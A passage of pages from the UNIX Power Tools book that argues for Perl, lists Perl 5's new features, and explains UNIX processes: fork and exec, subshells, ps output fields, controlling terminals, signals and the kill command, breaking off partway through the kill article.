Because perl is one program rather than a dozen others (sh, awk, sed, tr, wc, sort, grep, and so on), it is usually clearer to express yourself in perl than in sh and allies, and often more efficient as well. You don't need as many pipes, temporary files, or separate processes to do the job. You don't need to go shoving your data stream out to tr and back, and to sed and back, and to awk and back, and to sort and back, and then back to sed, and back again. Doing so can often be slow, awkward, and/or confusing.

Anyone who's ever tried to pass command-line arguments into a sed script of moderate complexity or above can attest to the fact that getting the quoting right is not a pleasant task. In fact, quoting in general in the shell is just not a pleasant thing to code or to read.

In a heterogeneous computing environment, the available versions of many tools vary too much from one system to the next to be utterly reliable. Does your sh understand functions on all your machines? What about your awk? What about local variables? It is very difficult to do complex programming without being able to break a problem up into subproblems of lesser complexity. You're forced to resort to using the shell to call other shell scripts and allow UNIX's power of spawning processes (38.2) to serve as your subroutine mechanism, which is inefficient at best. That means your script will require several separate scripts to run, and getting all these installed, working, and maintained on all the different machines in your local configuration is painful. With perl, all you need to do is get it installed on the system - which is really pretty easy thanks to Larry's Configure program - and after that you're home free.

Perl is even beginning to be included by some software and hardware vendors' standard software distributions. I predict we'll see a lot more of this in the next couple of years.

Besides being faster, perl is a more powerful tool than sh, sed, or awk. I realize these are fighting words in some camps, but so be it. There exists a substantial niche between shell programming and C programming that perl conveniently fills. Tasks of this nature seem to arise with extreme frequency in the realm of system administration. Since system administrators almost invariably have far too much to do to devote a week to coding up every task before them in C, perl is especially useful for them. Larry Wall, Perl's author, has been known to call it "a shell for C programmers." I like to think of it as a "BASIC for UNIX." I realize that this carries both good and bad connotations.

In what ways is perl more powerful than the individual tools? This list is pretty long, so what follows is not necessarily an exhaustive list. To begin with, you don't have to worry about arbitrary and annoying restrictions on string length, input line length, or number of elements in an array. These are all virtually unlimited; i.e., limited to your system's address space and virtual memory size.

Perl's regular expression (26.4) handling is far and above the best I've ever seen. For one thing, you don't have to remember which tool wants which particular flavor of regular expressions, or lament the fact that one tool doesn't allow (..|..) constructs or +'s \b's or whatever. With Perl, it's all the same - and, as far as I can tell, a proper superset of all the others.

Perl has a fully functional symbolic debugger (written, of course, in Perl) that is an indispensable aid in debugging complex programs. Neither the shell nor sed/awk/sort/tr/... have such a thing.

Perl has a loop control mechanism that's more powerful even than C's. You can do the equivalent of a break or continue (last and next in Perl) of any arbitrary loop, not merely the nearest enclosing one. You can even do a kind of continue that doesn't trigger the re-initialization part of a loop, something you may, from time to time, want to do.

Perl's data types and operators are richer than the shells' or awk's, because you have scalars, numerically-indexed arrays (lists), and string-indexed (hashed) arrays. Each of these holds arbitrary data values, including floating-point numbers, for which mathematic built-in subroutines and power operators are available. It can handle binary data of arbitrary size.

Speaking of LISP, you can generate strings, perhaps with sprintf ( ), and then eval them. That way you can generate code on the fly. You can even do lambda-type functions that return newly created functions that you can call later. The scoping of variables is dynamic; fully recursive subroutines are supported; and you can pass or return any type of data into or out of your subroutines.

You have a built-in automatic formatter for generating pretty printed forms with automatic pagination and headers and center-justified and text-filled fields like %(|fmt)s, if you can imagine what that would actually be were it legal.

There's a mechanism for writing SUID (1.23) programs that can be made more secure than even C programs, thanks to an elaborate data-tracing mechanism that understands the "taintedness" of data derived from external sources. It won't let you do anything really stupid that you might not have thought of.

You have access to just about any system-related function or system call, like ioctls, fcntl, select, pipe and fork, getc, socket and bind, and connect and attach, and indirect syscall invocation, as well as things like getpwuid, gethostbyname, etc. You can read in binary data laid out by a C program or system call using structure-conversion templates.

At the same time you can get at the high-level shell-type operations like the -r or -w tests (44.20) on files or `backquote` (9.16) command interpolation. You can do file-globbing with the <*.[ch]> (15.1) notation or do low-level readdirs as suits your fancy.

DBM files can be accessed using simple array notation. This is really nice for dealing with system databases (aliases, news, ...), efficient access mechanisms over large data sets, and for keeping persistent data.

Don't be dismayed by the apparent complexity of what I've just discussed. Perl is actually very easy to learn because so much of it derives from existing tools. It's like interpreter C with sh, sed, awk, and a lot more built into it. And, finally, there's a lot of code out there already written in Perl, including libraries to handle things you don't feel like re-implementing.

- TC

Previous: 37.3 Three Great Virtues of a Programmer | UNIX Power Tools | Next: 37.5 And Now, Perl 5
37.3 Three Great Virtues of a Programmer | Book Index | 37.5 And Now, Perl 5
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 37] 37.5 And Now, Perl 5

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 37.4 Why Learn Perl? #2 Chapter 37
Perl, a Pathologically Eclectic Rubbish Lister 		Next: VI. Managing Processes

37.5 And Now, Perl 5

[This article was adapted from the Perl 5 manual pages. -JP]

Other articles in this chapter were actually written for the previous version, Perl 4, but they apply to Perl 5 as well. Perl 5 is nearly a complete rewrite of Perl 4. Most Perl 4 scripts will work under Perl 5. Perl 5 has these new benefits (and more):

  • Many usability enhancements: It is now possible to write much more readable Perl code (even within regular expressions). Error messages are more informative; the optional warnings will catch many of the mistakes a novice might make.

  • Lexical scoping: Perl variables may now be declared within a lexical scope, like "auto" variables in C.

  • Arbitrarily nested data structures: Any scalar value, including any array element, may now contain a reference to any other variable or subroutine.

  • Modularity and reusability: The Perl library is now defined in terms of modules that can be easily shared among various packages. A package may choose to import all or a portion of a module's published interface. Pragmas (that is, compiler directives) are defined and used by the same mechanism.

  • Object-oriented programming: A Perl package can function as a class. Dynamic multiple inheritance and virtual methods are supported in a straightforward manner and with very little new syntax. Filehandles may now be treated as objects.

  • Embeddable and extensible: Perl may now be embedded easily in your C or C++ application, and can either call or be called by your routines through a documented interface. The XS preprocessor is provided to make it easy to glue your C or C++ routines into Perl. Dynamic loading of modules is supported.

  • POSIX compliant: A major new module is the POSIX module, which provides access to all available POSIX routines and definitions, via object classes where appropriate.

  • Package constructors and destructors: The new BEGIN and END blocks provide means to capture control as a package is being compiled, and after the program exits. They work just like awk's BEGIN and END when you use the -p or -n switches.

  • Multiple simultaneous DBM implementations: A Perl program may now access DBM, NDBM, SDBM, GDBM, and Berkeley DB database files from the same script simultaneously.

  • Regular expression enhancements: If you thought Perl 4 regular expressions were rich and full of incredible features, wait until you see Perl 5!

- JP

Previous: 37.4 Why Learn Perl? #2 | UNIX Power Tools | Next: VI. Managing Processes
37.4 Why Learn Perl? #2 | Book Index | VI. Managing Processes
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] Starting, Stopping, and Killing Processes

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: VI. Managing Processes Chapter 38 Next: 38.2 fork and exec

38. Starting, Stopping, and Killing Processes

Contents:
What's in This Chapter
fork and exec
Managing Processes: Overall Concepts
Subshells
The ps Command
The Controlling Terminal
Why ps Prints Some Commands in Parentheses
What Are Signals?
Killing Foreground Jobs
Destroying Processes with kill
Printer Queue Watcher: A Restartable Daemon Shell Script
Killing All Your Processes
Interactively Kill Processes Matching a Pattern
Processes Out of Control? Just STOP Them
Cleaning Up an Unkillable Process
Why You Can't Kill a Zombie
Automatically Kill Background Processes on Logout in csh
nohup

38.1 What's in This Chapter

We've already talked about so many of the topics in this chapter, here or there, that it may seem like a real hodgepodge. It's a grab-bag of important things to know about processes - which you can think of as programs that are actually running, rather than sitting on the disk somewhere.

The chapter starts out with a couple of conceptual articles. They define some important terms that you're likely to encounter in this chapter.

Then we talk about the ps command, which tells you what processes you have running and just what they are up to (articles 38.5, 38.6, 38.7).

The next few articles cover signals, which are one way processes communicate with one another. We cover topics like:

  • What are signals (article 38.8)?

  • How to send signals from the keyboard (articles 38.9 and 38.10; also see article 5.9).

  • How shell programs can "handle" signals (article 38.11; also see article 44.12).

We go from there to a more general discussion of ways to kill processes:

  • How to kill all your processes (article 38.12).

  • How to kill processes by name rather than by process ID (article 38.13).

  • How to stop runaway jobs (article 38.14).

  • Why some processes don't seem to go away when you kill them (articles 38.15, 38.16).

  • How to make sure all your processes die when you log out (article 38.17).

  • How to make sure processes don't die when you log out (article 38.18).

- TOR

Previous: VI. Managing Processes | UNIX Power Tools | Next: 38.2 fork and exec
VI. Managing Processes | Book Index | 38.2 fork and exec
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] 38.2 fork and exec

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.1 What's in This Chapter Chapter 38
Starting, Stopping, and Killing Processes 		Next: 38.3 Managing Processes: Overall Concepts

38.2 fork and exec

We've already discussed fork and exec way back in article 1.11, but the concept comes up so often in this chapter that we thought we ought to have a closer cross reference.

Put simply, fork and exec are the UNIX system calls (requests for operating system services) that UNIX programs use to create new processes. When you start up a UNIX system, it starts with only one process, a program called init.

How does init magically turn into the hundreds or perhaps even thousands of processes that make up a working UNIX system? That's where fork and exec come in.

One process spawns another ("spawn" is another term you should get used to seeing) either by replacing itself when it's done - an exec - or if it needs to stay around, by making a copy of itself - a fork. In the latter case, the forked copy commits polite suicide by execing the desired second program.

A good example of this whole sequence can be seen in the way a UNIX system's login procedure for terminals (non- network (1.33) logins) works. The init process spawns a series of getty processes, each of which monitors a serial port (a tty) looking for activity. It's the getty program that actually puts up the first login: prompt.

Once someone actually types a login name, getty's job is done; it execs the login command. login prompts for a password (if the account has one) and, if the password is okay, execs the login shell. Whenever you start another program, the shell forks itself, and the copy execs whatever program you asked to run.

That's why some commands are built-in to the shell (1.10). There's overhead involved in starting a new process. What's more, because a child process can't affect its parent's environment (38.3), some commands don't make sense as separate processes. For example, cd must be built in, or it couldn't change the working directory for the current shell.

There's an exec command that you can type at a shell prompt; see article 45.7. Watch out, though, it will replace your shell with whatever command you exec, with no going back. This is useful only if you want to replace your shell with some other interactive command interpreter with similar powers (as in article 22.22), or if you'll be ready to log out when the command you exec finishes.

- TOR

Previous: 38.1 What's in This Chapter | UNIX Power Tools | Next: 38.3 Managing Processes: Overall Concepts
38.1 What's in This Chapter | Book Index | 38.3 Managing Processes: Overall Concepts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] 38.3 Managing Processes: Overall Concepts

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.2 fork and exec Chapter 38
Starting, Stopping, and Killing Processes 		Next: 38.4 Subshells

38.3 Managing Processes: Overall Concepts

As you know, when you log into your UNIX account and start typing, you're talking to the shell (8.1). The shell you use may be a variant of the Bourne shell (such as a standard sh, or ksh or the GNU shell bash), or perhaps it is a variant of the C shell, csh (such as, perhaps, the tcsh shell that includes line- and history-editing features). Alternatively, you may be using a somewhat less common shell such as rc.

Your shell is a process, one of many individual programs running at the same time on the machine. Every process has certain pieces of information associated with it, including:

  • The process ID (PID) is a number assigned to the process when it is started up. Process IDs are unique (that is, they cycle and are eventually re-used, but no two processes have the same process ID at the same time).

  • The user ID (UID) tells who the process belongs to. This determines what files and directories the process is allowed to read from or write to, (22.1) as well as who is allowed to kill the process (38.10) (tell it to stop running).

  • The group ID (GID) is similar to the user ID, but tells which group the process belongs to. On some systems, this controls the group assigned to files created by the process. See articles 22.5, 22.13, and 22.2.

  • The environment contains a list of variables and associated values. For example, when you type echo $HOME at the shell and it prints out the name of your home directory (1.20), it has told you the contents of the environment variable (6.1) called HOME.

  • The current working directory (14.3) is the directory that is currently the default. When you specify a filename to a program but do not say explicitly where to look for it [with a pathname (14.2) -JP ], the program will look in the current working directory-if the PATH variable contains the current directory (article 6.4 explains).

  • File descriptors are a record of which files a process has opened for reading or writing, as well as the current position in each file. Articles 45.20 through 45.23 explain file descriptor use in the Bourne shell.

  • Versions of UNIX with job control (12.8) have process groups. A process group is used for distribution of signals (38.8, 38.9, 38.12). It's also used to control which process can read from a terminal. A process that has the same process group as the terminal is "in the foreground" and can read from the terminal. Other processes are stopped when they try to read from the terminal.

When you're typing commands at the shell, it is the controlling process of your terminal, meaning that it (the shell) is the process that gets the input you type. See article 38.6.

Normally, when you type a command at the shell prompt, that command runs and is allowed by the shell to take over the terminal for its lifetime. For example, if you type more .login to view your .login file, the shell starts up the more (25.3) program and then sits around waiting for it to finish; while more is running, you can type commands to page through the file and more (not the shell) will see them. The command you run is called a child or subprocess of the shell process, which is its parent. All process information (user ID, group ID, etc.) is inherited by the child from its parent, except for the process ID, since the child is assigned a new one. [ Built-in shell commands (1.10) like cd don't start a child process. -JP ]

Although the normal behavior is for the shell to wait until any command you run has finished before it becomes active again, there are some situations in which you don't want this to occur. For example, if you're using a window system such as X (1.31) and want to start up a new xterm window from your shell, you don't want to type just xterm, because then your original shell will wait until the xterm finishes before allowing you to type any more commands. This would mean that you still have only one shell to work in, thus defeating the purpose of starting the new xterm.

When you don't want a process to finish before getting back to the shell, you can run it in the background (1.26). You do this by putting an ampersand (&) character at the end of the command, for example, xterm &. The shell will start the child process and then immediately prompt you for another command. Note that in this situation, the shell retains control of the terminal and the newly created background process cannot read input. Some shells have additional job control (12.8) features (processes that are running in the background are often described as background jobs or just jobs) that enable you to do things such as kill jobs or bring a job from the background into the foreground so that it becomes the controlling process of the terminal and you can type input at it.

An important thing to remember is that although process information is inherited by children when they are started, it is impossible for the parent to affect its child's process information (or vice versa) after that point. For example, if you start up the editor vi, suspend it (12.4), and then use the cd command in the shell to change directories, vi will still have the old working directory when you bring it back into the foreground. Similarly, if you write a shell script that changes some environment variables, those variables will contain their old values in the shell when the shell script exits. This sometimes confuses MS-DOS users, since information such as the current directory is stored in a global area which is referenced by all programs. If it is necessary to communicate information from a child back to a parent shell, other methods are needed . (38.8, 44.23)

[One more concept that I think is useful: When a process exits, it returns a numeric exit status (44.7) to its parent process. By convention, a zero status means success; non-zero means some kind of failure. -JP]

Just as there are ways to modify the environment and the current working directory of the shell, there are also useful ways to manipulate file descriptors (45.20, 45.21, 45.22).

- JIK

Previous: 38.2 fork and exec | UNIX Power Tools | Next: 38.4 Subshells
38.2 fork and exec | Book Index | 38.4 Subshells
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] 38.4 Subshells

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.3 Managing Processes: Overall Concepts Chapter 38
Starting, Stopping, and Killing Processes 		Next: 38.5 The ps Command

38.4 Subshells

In UNIX, when a program starts another program (more exactly, when a process starts another process), the new process runs as a subprocess (38.3) or child process. [1] When a shell starts another shell, the new shell is called a subshell. [2]

[1] This isn't true when the subprocess is execd from the parent process without a fork first. Article 38.2 explains.

[2] When you use the shell's exec (45.7) command, it does not start a subprocess.

So what? There are some important things to know about it: the child process gets a copy of its parent's environment. Any changes in the environment of the child process aren't passed to its parent. "Still," I hear you say, "so what??"

  • Shell scripts are run in a subshell (unless you use the source or . commands (44.23) to start the script). If the script makes changes to the environment of its (sub)shell, the parent shell won't see those changes. If the script uses cd, it doesn't change the current directory in the parent shell. If the script changes the value of the TZ (or any) environment variable (6.7), that won't change TZ in the parent shell. The script can set a different umask (22.4) than the parent shell - no problem.

  • There are times you might want to start a subshell from your current shell. Maybe you have a special project where you need to work in a different current directory, reset environment variables, set a new home directory, reset some aliases, use a different PATH (6.4), whatever. When you end the subshell, the parent shell's environment will be the way it was.

    If your parent shell has job control (12.1), you can stop the subshell and pop back to your parent shell without losing the changes in the subshell. If the child shell has job control, too, the command suspend (22.22) (or kill -STOP $$ (8.19)) will stop it. Otherwise, just type CTRL-z at the subshell's prompt. For example:

prompt

%csh

    myprompt% csh
myprompt% set prompt="project% "
project% cd project-directory
project% setenv PRINTER plotter
project% set path=($path some-new-directories)
project% setenv EXINIT "se ts=4 sw=4 aw wm=0"
   ...do some work...
project% suspend

Stopped
myprompt%
   ...back to parent shell...
myprompt% fg %csh
   ...back to subshell...
%

    I use suspend so much that I've made a CTRL-z-like alias named z.

  • A shell escape (30.26) starts a subshell. Do whatever you want to the subshell's environment. When you end the shell escape, the changes go away.

  • The su (22.22) command starts a subshell. cd anywhere, change environment variables, and so on...

If you use the exit command, a subshell (or any shell) will terminate. In a script, when the shell reads the end of file, that does an implicit exit. On the command line, an end-of-input character (usually CTRL-d) will do the same thing. Article 44.11 explains how exit sets a shell's exit status.

- JP

Previous: 38.3 Managing Processes: Overall Concepts | UNIX Power Tools | Next: 38.5 The ps Command
38.3 Managing Processes: Overall Concepts | Book Index | 38.5 The ps Command
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] 38.5 The ps Command

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.4 Subshells Chapter 38
Starting, Stopping, and Killing Processes 		Next: 38.6 The Controlling Terminal

38.5 The ps Command

The ps command produces a report summarizing execution statistics for current processes. The bare ps command lists the process ID, the terminal the command was started from, how much CPU time it has used, and the command itself. The output looks something like this (it differs from system to system):

PID TT STAT  TIME COMMAND
 1803 p5 IW    0:00 -csh (csh)
 1883 p5 IW    0:04 vi outline
 1811 p6 IW    0:01 -csh (csh)
 5353 p6 TW    0:01 vi 4890

By default, ps lists only your own processes. There are many times, though, when it's desirable to have a more complete listing with a lot of data about all of the processes currently running on the system. The options required to do this differ between BSD UNIX and System V. Under BSD UNIX, the command is ps -aux, which produces a table of all processes, arranged in order of decreasing CPU usage at the moment when the ps command was executed. [The -a option gives processes belonging to all users, -u gives a more detailed listing, and -x includes processes that no longer have a controlling terminal (38.6). -TOR ] It is often useful to pipe this output to head (25.20), which will display the most active processes:

% ps -aux | head -5
USER       PID %CPU %MEM   SZ  RSS TTY STAT  TIME COMMAND
martin   12923 74.2 22.5  223  376 p5  R     2:12 f77 -o foo foo.F
chavez   16725 10.9 50.8 1146 1826 p6  R N  56:04 g94 HgO.dat
ng       17026  3.5  1.2  354  240 co  I     0:19 vi benzene.txt
gull      7997  0.2  0.3  142   46 p3  S     0:04 csh

The meanings of the fields in this output (as well as others displayed by the -l option to ps) are given in Table 38.1.

The first line of this output shows that user martin is running a FORTRAN compilation (f77). This process has PID (38.3) 12923 and is currently either running or runable. User chavez's process (PID 16725), executing the program g94, is also running or runable, though at a lowered priority. From this display, it's obvious who is using most system resources at this instant: martin and chavez have about 85% of the CPU and 73% of the memory between them. However, although it does display total CPU time, ps does not average the %CPU or %MEM values over time in any way.

Table 38.1: ps Command Output Fields
Column[3] | Contents
USER (BSD) | Username of process owner.
UID (System V) | Username of process owner.
PID | Process ID.
%CPU | Estimated fraction of CPU consumed (BSD).
%MEM | Estimated fraction of system memory consumed (BSD).
SZ | Virtual memory used in K (BSD) or pages (System V).
RSS | Real memory used (in same units as SZ).
TT, TTY | Terminal port associated with process.
STAT (BSD), | Current process state; one (or more under BSD) of:
S (System V) |
 | R: Running or runnable.
 | S: Sleeping.
 | I: Idle (BSD). Intermediate state (System V).
 | T: Stopped (12.8).
 | Z: Zombie process (38.16).
 | D (BSD): Disk wait.
 | P (BSD): Page wait.
 | X (System V): Growing: waiting for memory.
 | K (AIX): Available kernel process.
 | W (BSD): Swapped out.
 | N (BSD): Niced (39.9, 39.11):execution priority lowered.
 | > (BSD): Execution priorityartificially raised (39.11).
TIME | Total CPU time used.
COMMAND | Command line being executed (may be truncated).
STIME (System V) | Time or date process started.
C (System V), | Short term CPU-use factor; used by scheduler for
CP (BSD) | computing execution priority (PRI below).
F | Flags associated with process (see ps manual page).
PPID | Parent's PID.
PRI | Actual execution priority (recomputed dynamically).
NI | Process nice number (39.9).
WCHAN | Event process is waiting for.

[3] Some vendors add other fields, such as the processor number for multiprocessors and additional or different process states (as in the AIX K field). These codes may differ from vendor to vendor: for example, the 0 code under Stardent UNIX means a process that is actually running (and R means runable) while 0 under AIX means a nonexistent process.

A vaguely similar listing is produced by the System V ps -ef command:

$ ps -ef
   UID   PID  PPID   C    STIME     TTY  TIME CMD
  root     0     0   0 09:36:35       ?  0:00 sched
  root     1     0   0 09:36:35       ?  0:02 /etc/init
  ...
  gull  7997     1  10 09:49:32   ttyp3  0:04 csh
martin 12923 11324   9 10:19:49   ttyp5 56:12 f77 -o foo foo.F
chavez 16725 16652  15 17:02:43   ttyp6 10:04 g94 HgO.dat
    ng 17026 17012  14 17:23:12 console  0:19 vi benzene.txt

The columns hold the username, process ID, parent's PID (the PID of the process that created it), the current scheduler value, the time the process started, its associated terminal, its accumulated CPU time, and the command it is running. Note that the ordering is by PID, not resource usage.

AIX's version of the ps command supports both BSD and System V options. The BSD options are not preceded by a hyphen (which is a legal syntax variation), and the System V options are. Thus, under AIX, ps -au is not the same as ps au. The command is the System V version, however, even if its output is displayed with the BSD column headings. Thus, ps aux output is displayed in PID rather than %CPU order.

ps is also useful in pipes; a common use is:

% ps -aux | grep chavez

to see what user chavez has currently running. [Under System V, use ps -u chavez. -JP]

- AF from O'Reilly & Associates' Essential System Administration, Chapter 7

Previous: 38.4 Subshells | UNIX Power Tools | Next: 38.6 The Controlling Terminal
38.4 Subshells | Book Index | 38.6 The Controlling Terminal
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] 38.6 The Controlling Terminal

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.5 The ps Command Chapter 38
Starting, Stopping, and Killing Processes 		Next: 38.7 Why ps Prints Some Commands in Parentheses

38.6 The Controlling Terminal

In article 38.5, we pointed out that the ps command needs special options (-x for BSD and -e for System V) to list processes without a controlling terminal.

But just what is a controlling terminal? Just what it sounds like: the terminal from which the process was started. In the ps listing, this is usually given as a tty, or terminal id. That ps entry usually corresponds to a serial port, or a pty (41.8). A pty or "pseudo-terminal" is a construct that makes a window or network login (1.33) look to the operating system just like a terminal.

In the ps listing, a tty might appear as t1 for /dev/tty1, p3 for /dev/ttyp3, or as some other designation, such as co for /dev/console, the full screen display of a workstation before any window system is started. Processes without a controlling terminal show a question mark (?).

How does a process "lose" its controlling terminal? Easy. Some processes, such as system "daemons" (1.14) never had one - they were started by system scripts that weren't started from any terminal, or they disconnected themselves from their controlling terminals. But it's also possible that you started a process running in the background, logged out, and logged back later or on another terminal to find it still running without a controlling terminal.

The tty command can be used to report which "terminal" you're currently connected to. For example:

% tty
/dev/ttyp2

Running tty without a controlling terminal gives the message not a tty.

- TOR

Previous: 38.5 The ps Command | UNIX Power Tools | Next: 38.7 Why ps Prints Some Commands in Parentheses
38.5 The ps Command | Book Index | 38.7 Why ps Prints Some Commands in Parentheses
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] 38.7 Why ps Prints Some Commands in Parentheses

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.6 The Controlling Terminal Chapter 38
Starting, Stopping, and Killing Processes 		Next: 38.8 What Are Signals?

38.7 Why ps Prints Some Commands in Parentheses

The reason that some versions of ps, and thus derivatives such as w, sometimes print commands in parentheses [one of our UNIX systems uses square brackets-JP ]:

% ps -f -u jerry
     UID   PID  PPID  C    STIME TTY      TIME COMMAND
   jerry 29240 29235  0 07:56:19 ttyp1    0:01 sh find_mh_dupes
   jerry 29259 29240 23 07:57:52 ttyp1    0:07 (egrep)

is that whoever wrote ps liked it that way. The parentheses indicate that the command overwrote its name, or that ps could not find the name, and that ps is printing instead the "accounting name." (The accounting name is the last component of the name given to the exec (38.2) system call, and is the name used in the system resource usage accounting file.) Basically, ps does this [in the C language-JP ]:

if (proc->argv == NULL || strcmp(proc->acct_name, proc->argv[0]) != 0)
   printf("(%s)", proc->acct_name);

In the case of a large environment, ps is unable to find the argument vector. This is because it reads only the last few stack pages of each process.

Other versions of ps use completely different mechanisms for locating the command arguments and may never print parentheses.

- CT in net.unix-wizards on Usenet, 13 November 1983

Previous: 38.6 The Controlling Terminal | UNIX Power Tools | Next: 38.8 What Are Signals?
38.6 The Controlling Terminal | Book Index | 38.8 What Are Signals?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] 38.8 What Are Signals?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.7 Why ps Prints Some Commands in Parentheses Chapter 38
Starting, Stopping, and Killing Processes 		Next: 38.9 Killing Foreground Jobs

38.8 What Are Signals?

Signals are a simple, but important means of interprocess communication. Interprocess communication sounds fancy, but it's really a simple concept: it's the means by which one program sends a message to another program. It's common to think of signals as special messages sent by the UNIX kernel (1.14) but, in fact, any program can signal any other program.

What kinds of messages can you send with a signal? Relatively few, in reality. Signals aren't "arbitrary" messages, like letters; they are a small group of pre-defined messages, each with its own special meaning. System V UNIX supports 16 signals, each of which is assigned a number; BSD-derived UNIX implementations and SVR4 have 32 signals. Table 38.2 lists some of the more commonly used signals. It also lists keyboard characters that send common signals on BSD systems (these can be changed; see article 5.9).

Table 38.2: Common Signals
Signal Name | Number | Meaning and Typical Use
HUP | 1 | Hangup - stop running. Sent when you log out or disconnect a modem.
INT | 2 | Interrupt - stop running. Sent when you type CTRL-c.
QUIT | 3 | Quit - stop running (anddump core (52.9)).Sent when you type CTRL-\.
KILL | 9 | Kill - stop unconditionally and immediately; a good "emergency kill."
SEGV | 11 | Segmentation violation - you have tried to access illegal memory.
TERM | 15 | Terminate - terminate gracefully, if possible.
STOP | 17 | Stop unconditionally and immediately; continue with CONT.
TSTP | 18 | Stop - stop executing, ready to continue (in either background or foreground). Sent when you type CTRL-z. stty (5.9) calls this susp.
CONT | 19 | Continue - continue executing after STOP or TSTP.
CHLD | 20 | Child - a child process's status has changed.
USR1 | 30 | User-defined signal.

While this list isn't definitive, it shows you the types of things signals can do. Many signals, like SIGSEGV, are warning or error messages. You've probably seen the frustrating "segmentation violation" message. That message came when the kernel detected something wrong and sent your program a SIGSEGV signal; in response, your program quit. Others signals, like SIGTSTP, are generated in response to special characters on the keyboard. And a lot of signals just say, "Your time is up, goodbye!"

When a process receives a signal, it can take a number of actions; for example:

  • It can take whatever default action is specified for the signal. By default, some signals kill the process that receives them. For some signals, the default action is to stop running and dump core. (SIGQUIT is an example of this.) Other signals have no effect by default.

  • It can trap (44.12) the signal and run a special "signal handling" function - in which case, it can do whatever it wants. A signal handler often does whatever's necessary to shut the program down nicely: make sure that files are closed and left in a consistent state, and so on.

  • It can ignore the signal, in which case nothing happens.

You've probably read that the command kill -9 is guaranteed to kill a process. Why? Two special signals in Table 38.2 can't be caught or ignored: the KILL and STOP signals.

The kill (38.10) command doesn't kill - it really does nothing more than send signals. As you now know, signals often bring death and destruction - but there's no necessary reason for them to do so.

- ML

Previous: 38.7 Why ps Prints Some Commands in Parentheses | UNIX Power Tools | Next: 38.9 Killing Foreground Jobs
38.7 Why ps Prints Some Commands in Parentheses | Book Index | 38.9 Killing Foreground Jobs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] 38.9 Killing Foreground Jobs

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.8 What Are Signals? Chapter 38
Starting, Stopping, and Killing Processes 		Next: 38.10 Destroying Processes with kill

38.9 Killing Foreground Jobs

You probably know that typing CTRL-c (38.8) will terminate your foreground job. But what actually happens when you type CTRL-c?

When you type CTRL-c, you're sending the INT (interrupt) signal (38.8) to the foreground process. Most well-designed programs "catch" the interrupt signal - which means that the program installs some special function (a "signal handler") that is called whenever a signal arrives. The signal handler normally closes all open files, resets your terminal properly (if needed), and does anything else necessary so that the program can depart from this world at peace. Then the program terminates. The QUIT signal, sent by CTRL-\, works similarly but also makes a core file (52.9) for debugging.

Of course, it's possible for the signal handler to do something else entirely: it's possible for the program to decide not to quit, or to implement some truly bizarre feature. In fact, editors like vi or Emacs almost always ignore most signals. The trap (44.12) command handles signals in the Bourne shell.

Whenever you send a signal from the keyboard, it's sent to all processes in the same process group (38.3). This may include the program's child processes, but may not. And, of course, child processes can choose to ignore signals on their own. But more often than not, killing the parent process kills its children.

Article 5.9 explains how to set the key that sends these and other signals. The kill (38.10) command also sends signals.

- ML, JP

Previous: 38.8 What Are Signals? | UNIX Power Tools | Next: 38.10 Destroying Processes with kill
38.8 What Are Signals? | Book Index | 38.10 Destroying Processes with kill
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] 38.10 Destroying Processes with kill

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.9 Killing Foreground Jobs Chapter 38
Starting, Stopping, and Killing Processes 		Next: 38.11 Printer Queue Watcher: A Restartable Daemon Shell Script

38.10 Destroying Processes with kill

Sometimes it's necessary to eliminate a process entirely or to signal a process (38.11); this is the purpose of the kill command. You can use the kill command with or without a signal id:

% kill pid
% kill -signal pid

where pid is the process' identification number, and signal (which is optional) is the signal to send to the process. The default signal is number 15, the TERM signal, which tells the process to terminate. Under System V, the signal must be specified numerically; under BSD, either the signal number or its symbolic name may be used. [Use kill -l for a list of signal names; unfortunately, the listing doesn't show the correspondence of names and numbers. However, they are in order, so if you can count, you can figure it out. -TOR ]

